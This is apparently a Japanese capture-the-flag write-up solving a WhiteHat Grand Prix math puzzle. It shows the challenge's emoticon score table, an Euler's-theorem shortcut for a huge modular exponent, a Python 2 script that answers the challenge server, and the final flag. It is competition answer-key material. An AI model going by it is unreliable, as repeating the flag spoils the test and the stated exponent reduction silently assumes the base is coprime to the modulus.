                   Wellcom to Friendly face challenge
According to experts, the formula for measuring the friendliness of a face is
    (lip point**nose point)**(eyes point**forehead point) mod Face_index
                              Now play!
------------------------------Stage 1--------------------------------------
Face_index: 4431737
Face           Lip point      Nose point     Eyes point     Forehead point 
:-)            596242442      481469043      970458274      32703946       
(';')          376021014      272175871      239425572      184621759      
(=^..^=)       485755959      459822117      70984484       6425194        
:)             977865016      739654486      296805231      562258274      
:-]            914395562      938717142      921361199      576965573      
:]             336429352      943961753      752611213      95370167       
:-3            165943262      966598407      516473754      772879133      
:3             889297404      23840982       606500337      736303577      
:->            541245039      283886587      250236527      771824867      
:>             636612689      936249233      319980673      338877742      
:-*            241647692      317174427      975314731      502081872      
:*             271638886      843604355      472679688      853083969      
(>_<)          633930454      209230772      52469366       895198448      
(>_<)>         995527139      208600614      858498435      577040482      
(';')          848596099      405700489      337685577      326163258      
(^_^;)         988185554      243044144      381916894      268647763      
(-_-;)         870125849      588116350      324643650      969271622      
(~_~;)         591753167      492749098      383987089      89199361       
(...;)         465374817      677444547      342357343      575883393      
(._.;)         525027485      646708335      571869565      488171404      
^_^;           95013153       882921976      251013374      223048438      
(#^.^#)        972541934      323081701      97697337       965645600      
(^^;)          168319131      893468036      677026321      667083111      
(-_-)zzz       460308725      713998921      157547765      873272113      
(^_-)          469080168      586577044      302298730      848820916      
((+_+))        310684442      806220740      489486988      730554133      
(+o+)          341931559      973851008      634295881      273149870      
^_^            435459073      803947061      403135837      249163168      
(^_^)/         817248024      461457840      122466022      287654650      
(=_=)          845486756      431899563      497453104      360016272      
(?_?)          347478160      220003849      28100026       958712334      
(^_^)          626921993      801762983      661020071      997855657      
(~o~)          225789800      631406677      535015751      189783066      
(~_~)          807938286      952126927      764786442      638732424      
o.O            871975848      257408524      426299419      59896758       
(o.o)          63223248       978835775      546529382      264433328      
oO             679254801      413413444      55017139       283662476      
<_<            736488270      359509676      929803086      369891930      
>_>            299626511      442201749      519739934      670684760      
<o?o>          674680095      856927711      496756490      81590770       
(>^.^)         780245547      254744992      229038267      629703628      
(^.^<)         405281708      687157157      353015431      755281648      
>,<            106378055      890404087      529192804      606538580      
;-(            513181644      459706648      529613032      931311838      
>:-(           587016768      782815123      713576827      321597509      
@(-_-)@        840506996      817976971      661753791      145890981      
@(^_^)@        863474035      182809717      514177192      793174325      
~O-O~          601211571      288325382      344765291      760697124      
:)]            991917239      864698356      68391752       351680770      
.-]            850742773      807690508      545894722      208852551      
.-)            455598369      432662165      229771808      821952329      
,-)            213887745      346518966      711375633      250280917      
':-(           385654334      97532947       860838537      433534132      
'-)            179269337      658324086      844837058      417744279      
:-D            466848302      21928777       173955338      339563435      
:=)            913770274      142738487      639227727      617937904      
:@             98765894       80122883       376496439      512041497      
<:-P           203112529      952067844      367806426      985693940      
:)>-           745938793      316337810      889074330      870349911      
:^)            78379055       630302543      166701512      857017312      
3:]            971098181      397257584      918930423      279788878      
(o^-^o)        914732303      267597906      802970827      263807313      
:-<            223587166      847745996      586708464      364485219      
:-[            88492755       312737068      227998177      147624657      
=:-)           234906718      528787599      937723179      306554978      
:-))           52586325       461817008      128874650      893917472      
<(-_-)>        760182940      838643548      569363638      165283155      
9_9            467028132      200982165      373411705      677154110      
=))            74217800       328284351      544357486      389014675      
7:)            902982576      879211080      828715890      606436127      
(<_>)          2776721        76548332       865922170      259242177      
:-(            329706650      201191399      779171278      178316061      
/:-)           703311712      629592477      807987564      737871016      
(-_-)          774112499      869284313      888552912      485637638      
:-*            680165343      32169796       588924131      455402899      
::=))          687239847      415460801      14828524       814673043      
o_o            849115553      951309125      769144825      682517755      
(*^_^*)        366967935      996883255      849091516      246423566      
(-::-)         64120405       829403093      668581993      835182060      
(^o^)          639633361      468110723      19523831       330311527      
:o)            803410338      522232647      772545391      737437770      
:|)            484447392      666349300      258910284      78499833       
:)             409969972      118803071      710326500      629936392      
:-)            420257921      758815700      702535489      591591244      
+:-)           507046230      974840616      136692833      433025097      
(:-)           931372485      303883708      928836052      845244431      
{:-)           414675990      737799366      915519879      946345418      
^&^            456715850      142166824      722043282      192560271      
=.=            854827506      962541908      219205017      564922319      
*~*            900518063      723307297      400360093      18021808       
(:>-<          409382634      372954587      455650500      452411178      
:-)---         765540422      292310472      220804776      20363262       
*-)            397286723      348184258      389371743      671368534      
>:*            456816308      557167076      448745985      898262835      
>.<            12017132       326539650      358099709      282393116      
:-@            20947658       86440236       159831491      77993591       
(:)-)          904767042      791772164      496897476      164869087      
::-)           483154180      173670907      43310880       167017739      
:-@            198644174      596224399      626716663      456640512      
@,.,@          935382486      691468677      584587520      179793294      
:-E            886076455      133288396      888456455      587622650      
:-[            833439341      164664199      751477298      722238083      
:-))           268158726      596277349      101793289      489763555      
:-[]           407141231      937381763      271820471      265582637      
:-)))          196127048      499086408      990692220      2709060        
(:-            530684193      355430256      33688527       743788259      
$_$            316493696      195845248      525788623      511389186      
(^:^)          644677468      362317579      479927686      853389642      
|___|          538871904      466692897      66164139       438963213      
:-)            7578352        593661332      991357690      997018911      
>O<            891811590      97984259       991030669      385697450      
:=)            252470814      906895930      98153725       829521427      
-:-)           901385711      643039757      71143493       147926124      
|:-)           695240184      778952493      491221544      894194207      
<(^.^<)        467571699      733944108      791210408      100078959      
<(*.*<)        679554586      373254869      810247219      294345618      
(*_*)          651786733      266904383      29442527       770000822      
._.            257615504      236664306      608767705      600223050      
@:-)           880803862      926737903      452048108      454010314      
<('.')>        733058449      892810814      773530725      528000556      
<('.'<)        579430788      304149147      577861147      583328793      
<(^.^)>        507019421      322208452      317046110      376912296      
<('.'<)        898401668      183862749      636714889      651053202      
:-*            590108193      139904728      644562260      706500409      
(:-*           514296447      200156909      401814197      105831470      
=^.^=          702596661      515873731      151349969      623222790      
<{::}>         478232622      936554793      478880525      609936656      
:-D            49331946       257073961      139570287      615626763      
:))            252760793      192745055      823359582      852633482      
:.-)           863450527      693239366      746928783      389664603      
(-:            835350723      340687976      181493414      47548225       
>;->           421466938      907922662      724741530      713999622      
:^o            259616359      79906074       328077364      655097082      
:-9            62427531       565086054      667084032      441954088      
So, what is the most friendly face?

(lip point**nose point)**(eyes point**forehead point) mod Face_index
をまともに計算すると時間がかかり終わらない。

中国人剰余定理などを使って、時間がかからない計算式に変える。

a = lip point
b = nose point
c = eyes point
d = forehead point
n = Face_index

pow(a ** b, c ** d, n)
= pow(pow(a, b, n), pow(c, d, phi), n)

nを素因数分解する必要あり。

phi = (p1-1) * (p2-1) * (p3-1) ...

あとはfriendlinessのポイントの高い顔文字とポイントを答えていく。

import socket
import re
from factordb.factordb import FactorDB

def get_friendliness(lip, nose, eyes, forehead, index, phi):
    return pow(pow(lip, nose, index), pow(eyes, forehead, phi), index)

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('misc04.grandprix.whitehatvn.com', 1337))

while True:
    data = recvuntil(s, 'So, what is the most friendly face?\n')
    print data

    pattern = 'Face_index\: (.+)'
    m = re.search(pattern, data)
    face_index = int(m.group(1))

    f = FactorDB(face_index)
    f.connect()
    elms = f.get_factor_list()
    dic_elms = {}
    for elm in elms:
        if elm not in dic_elms:
            dic_elms[elm] = 1
        else:
            dic_elms[elm] += 1

    phi = 1
    for elm in dic_elms:
        phi *= (elm - 1) * elm ** (dic_elms[elm] - 1)

    pattern = 'Forehead point \n(.+)\nSo, what'
    m = re.search(pattern, data, re.DOTALL)
    face_table = m.group(1).split('\n')

    faces_points = {}
    for line in face_table:
        face = line.split()[0]
        points = map(int, line.split()[1:])
        friendliness = get_friendliness(points[0], points[1],
            points[2], points[3], face_index, phi)
        faces_points[face] = friendliness

    best_face = max(faces_points, key=faces_points.get)
    print best_face
    s.sendall(best_face + '\n')
    data = s.recv(1024)
    print data

    best_point = faces_points[best_face]
    print best_point
    s.sendall(str(best_point) + '\n')
    data = s.recv(1024)
    print data
    if 'WhiteHat{' in data:
        break

5回正解すると、フラグが表示された。

WhiteHat{^.^_M4th_Math_Chin3se_Rema1nder_The0rem_&_Euler's_ThEorem_M@th_MAth_^/^}
$ echo -n "^.^_M4th_Math_Chin3se_Rema1nder_The0rem_&_Euler's_ThEorem_M@th_MAth_^/^" | sha1sum
883e8e59798f1884c3873ff5f47aaeea089097f9  -
WhiteHat{883e8e59798f1884c3873ff5f47aaeea089097f9}